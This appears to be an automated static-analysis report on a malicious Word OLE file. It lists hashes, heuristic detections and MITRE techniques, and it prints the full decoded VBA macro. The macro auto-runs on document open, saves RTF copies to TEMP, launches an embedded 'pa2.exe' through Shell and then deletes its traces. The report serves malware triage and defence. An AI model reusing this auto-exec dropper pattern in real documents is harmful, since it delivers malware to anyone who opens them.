Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d91789879a68274…

MALICIOUS

Office (OLE)

291.5 KB Created: 2015-10-01 12:22:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 4940f00552160158e6435baca40a2a1b SHA-1: ad1f624b7608b340a5abda844590c0005ec26fb3 SHA-256: 6d91789879a68274a9955d107457ede350f6fffad8eac4b463161db00298bcab
574 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information

The sample contains a VBA macro with AutoOpen and Workbook_Open subroutines that call the Manakai subroutine. Manakai creates two temporary RTF files, executes an embedded PE executable named 'pa2.exe' from the temporary directory, and then deletes the temporary files. The embedded PE executable and the VBA macro's execution of it indicate a downloader or dropper functionality.

Heuristics 18

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Hey (2)
Shell (TEX)
Hey (1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Hey (2)
Set appWord = CreateObject("Word.Application")
appWord.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    BQUYHDBHA = "aksd kjahsjkdhdkasjdl kasdjh askdg aksj d"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    HUQDHUIQW = "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        BQUYHDBHA = "aksd kjahsjkdhdkasjdl kasdjh askdg aksj d"
    Auto_Open
End Sub
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    On Error Resume Next
TMP = Environ$("TEMP") + "\"
TCA = TMP + "199.rtf"
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1441 bytes
SHA-256: 54a05fdc3f25498a6f0cd403cf8e780597961c8dab4862e5ee1585eefff4aa70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub qhdjkashdwd_Open()
     
End Sub
Sub asdhkjahajks_Open()
     BQJAHSD = "asdhjkajs kjdlkasj djahsdjkas"
End Sub
Sub AutoOpen()
    BQUYHDBHA = "aksd kjahsjkdhdkasjdl kasdjh askdg aksj d"
    Auto_Open
End Sub
Sub Manakai()
On Error Resume Next
TMP = Environ$("TEMP") + "\"
TCA = TMP + "199.rtf"
TCB = TMP + "200.rtf"
TEX = TMP + "pa2.e" + "xe"

SaveAsRTF (TCA)
SaveAsRTF (TCB)
Hey (2)
Set appWord = CreateObject("Word.Application")
appWord.Visible = False
Set docWord = appWord.Documents.Open(TCA)
Hey (2)
Shell (TEX)
Hey (1)
appWord.Quit
Set appWord = Nothing
Kill TCA
Kill TEX
End Sub
Sub Iriada()
    NKJASDSD = "askjd asjasj ldkadjkahaksj d"
    Manakai
End Sub
Sub Workbook_Open()
    HUQDHUIQW = "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
    Iriada
End Sub
Sub Hey(Kalamana As Long)
Dim Jhbhds As Long
Jhbhds = Timer + Kalamana
Do While Timer < Jhbhds
DoEvents
Loop
End Sub
Public Function SaveAsRTF(Name As String)
    ActiveDocument.SaveAs FileName:=Name, FileFormat:=wdFormatRTF
End Function
Sub Auto_Open()
    Iriada
    BHJQWDASD = "ajksdhj aksdasgdhjagskdj "
End Sub
embedded_office_0000344a.exe embedded-pe Office MZ+PE at offset 0x344A 285114 bytes
SHA-256: 41664da82114b50098c848f3c5fe63e03c7dda49a29cc2b21a1f93aee4e99ebf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1505225770/Ole10Native 256704 bytes
SHA-256: c42b742b1239f0ed56edc9302d7187a504e51dbeb4350730ec2d92c75bd7cc41

Open this report in the interactive analyzer, or submit your own file for analysis.